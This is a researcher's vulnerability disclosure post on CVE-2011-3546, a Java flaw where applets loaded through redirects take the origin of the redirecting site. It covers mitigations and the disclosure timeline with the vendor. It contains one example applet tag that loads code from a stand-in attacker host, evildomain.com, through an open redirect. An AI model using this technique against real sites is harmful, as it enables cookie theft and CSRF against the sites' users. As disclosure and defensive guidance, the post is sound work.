Neal Poole

Summary

Java 1.7 and Java 1.6 Update 27 and below do not properly enforce the same-origin policy for applets which are loaded via URLs that redirect. A malicious user can take advantage of this flaw to attack websites which redirect to third party content. This issue was patched in both Java 7 and Java 6 as part of the October 2011 Critical Patch Update. This issue has been assigned CVE-2011-3546.

What is the same-origin policy

From Wikipedia:

In computing, the same origin policy is an important security concept for a number of browser-side programming languages, such as JavaScript. The policy permits scripts running on pages originating from the same site to access each other’s methods and properties with no specific restrictions, but prevents access to most methods and properties across pages on different sites.

The origin for a Java applet is the hostname of the website where the applet is served from. So, for example, if I upload an applet to http://example.com/applet.jar, that applet’s origin is example.com. We care about the origin for security reasons: the same-origin policy ensures that an applet is only allowed to make HTTP requests back to the domain from which it originates (or to another domain which resolves to the same IP address, but we can ignore that behavior here).

So, where’s the security vulnerability?

Under certain conditions, the JRE did not correctly determine the origin of an applet. Specifically, when loading an applet via a URL that performed an HTTP redirect, the Java plugin used the original source of the redirect, not the final destination, as the applet’s origin.

If you’re confused, an example might help to illustrate things. Lets first start by imagining a website, example.com, that contains an open redirect. In other words, imagine that browsing to http://example.com/redirect.php?url=http://www.google.com redirects the user to http://www.google.com using a 301 or 302 redirect. Now, lets consider an attacker who controls the domain evildomain.com. This is what the attacker does:

1. Writes a malicious Java applet that accesses http://example.com
2. Uploads that applet to http://evildomain.com/evil.jar
3. Constructs a redirect from http://example.com to the malicious applet (http://example.com/redirect.php?url=http://evildomain.com/evil.jar)

4. Creates a malicious page anywhere on the Internet containing the following HTML:

   1 2 3 4 5

   <applet code="CSRFApplet.class" archive="http://example.com/redirect.php?url=http://evildomain.com/evil.jar" width="300" height="300"></applet>

So what happens when a user visits that page? Well, lets first think about what we would want to happen:

1. The user loads the page
2. The user’s browser fetches the Java applet.
3. The Java applet executes.
4. The Java applets tries to access http://example.com but fails because the applet was served up by http://evildomain.com, violating the same-origin policy.

Now, here’s what actually happened:

1. The user loads the page
2. The user’s browser fetches the Java applet.
3. The Java applet executes.
4. The Java applets tries to access http://example.com AND SUCCEEDS !!!

That behavior is dangerous for websites that redirect to third party content: since HTTP requests made via Java applets inherit a user’s cookies from the browser (minus those marked as HttpOnly), an attacker who exploits this vulnerability is able to steal sensitive information or perform a CSRF attack against a targeted website. Any users who have not upgraded to the latest version of Java are vulnerable to attack.

How to protect your website

Java applets are client-side technology, but this vulnerability has a very real impact on website owners. Aside from waiting for your users to upgrade to the latest version of Java, here are some steps you can take to protect your site:

1. Block requests containing Java’s user-agent from accessing your redirects

This solution is fairly simple. By denying requests made by Java applets to redirect scripts on your site, you can prevent a malicious applet from being loaded. The UAs you’ll want to block contain the string “Java/” (without the quotation marks).
[Note: Blocking that string may be overly broad: I haven’t researched whether other software claims to be Java. I’ll update this post if I’m made aware of any conflicts.]

2. Use HttpOnly cookies

Java is not able to read or make requests with cookies that are marked HttpOnly. As a result, this attack can not be used to access or make requests to the authenticated portion of any site that uses HttpOnly cookies.

3. Don’t redirect to third party content

Open redirects are considered to be problematic for a number of reasons (including their use in phishing attacks). If at all possible, you should avoid them entirely, or heavily restrict the locations that they can redirect to.

Disclosure Timeline

• December 28th, 2010: Vulnerability discovered
• January 10th, 2011: Built two proofs of concept involving major websites (will not be disclosed publicly)
• January 11th, 2011: Email sent to vendor. Disclosed full details of vulnerability, including proofs of concept
• January 12th, 2011: Vendor acknowledges receipt of email
• January 25th, 2011: Followup email sent to vendor, inquiring about status
• January 26th, 2011: Vendor replies: issue is still being investigated
• February 15th, 2011: [A Java SE Critical Patch Update is released][]
• March 15th, 2011: Followup email sent to vendor, inquiring about status
• March 18th, 2011: Vendor replies: issue is still being investigated
• March 24th, 2011, 5:44 AM: Vendor sends automated status report email that fails to mention this vulnerability
• March 24th, 2011, 8:04 AM: Followup email sent to vendor, inquiring about status
• March 24th, 2011, 4:44 PM: Vendor acknowledges vulnerability, plans to address in a future update
• April 25th, 2011: Vendor sends automated status report email that fails to mention this vulnerability
• May 23rd, 2011, 9:44 AM: Followup email sent to vendor inquiring about the status of a fix
• May 23rd, 2011, 2:24 PM: Vendor replies: plans to address vulnerability in October 2011 Java Critical Patch Update
• May 24th, 2011: Vendor sends automated status report email that fails to mention this vulnerability
• June 7th, 2011: A Java SE Critical Patch Update is released
• June 23rd, 2011: Vendor sends automated status report email that fails to mention this vulnerability
• July 22nd, 2011, 5:24 AM: Vendor sends automated status report email that fails to mention this vulnerability
• July 22nd, 2011, 8:04 AM: Followup email sent to vendor, inquiring about status
• July 22nd, 2011, 1:33 PM: Vendor replies, apologizes for not including vulnerability in status report. Reiterates that a fix for the vulnerability is targeted for the October 2011 Java Critical Patch Update
• July 28th, 2011: Java 7 is released. Testing reveals the vulnerability has not been patched. Email with vendor confirms.
• August 23rd, 2011: Vendor sends automated status report email. Vulnerability is now included and is marked “Issue fixed in main codeline, scheduled for a future CPU”
• September 23rd, 2011: Vendor sends automated status report email. Vulnerability is marked “Issue fixed in main codeline, scheduled for a future CPU”
• October 14th, 2011: Vendor sends out email confirming that vulnerability will be patched in CPU to be released on October 18th.
• October 18th, 2011: Java 6 Update 29 and Java 7 Update 1 are released, patching the vulnerability.

Anything else?

It appears Firefox was vulnerable to a similar attack back in 2007:

The blogger at beford.org noted that redirects confused Mozilla browsers about the true source of the jar: content: the content was wrongly considered to originate with the redirecting site rather than the actual source. This meant that an XSS attack could be mounted against any site with an open redirect even if it didn’t allow uploads. A published proof-of-concept demonstrates stealing the GMail contact list of users logged-in to GMail.

It also appears that people have been aware of similar attacks against Java for a while now. I stumbled across a post on http://sla.ckers.org/ that mentioned using redirects to JARs as a way to steal cookies. I believe the “fix” referred to in the post (which only covers cookie stealing) was made in response to this vulnerability from 2010.

If you have any questions about the vulnerability, please feel free to leave them in the comments!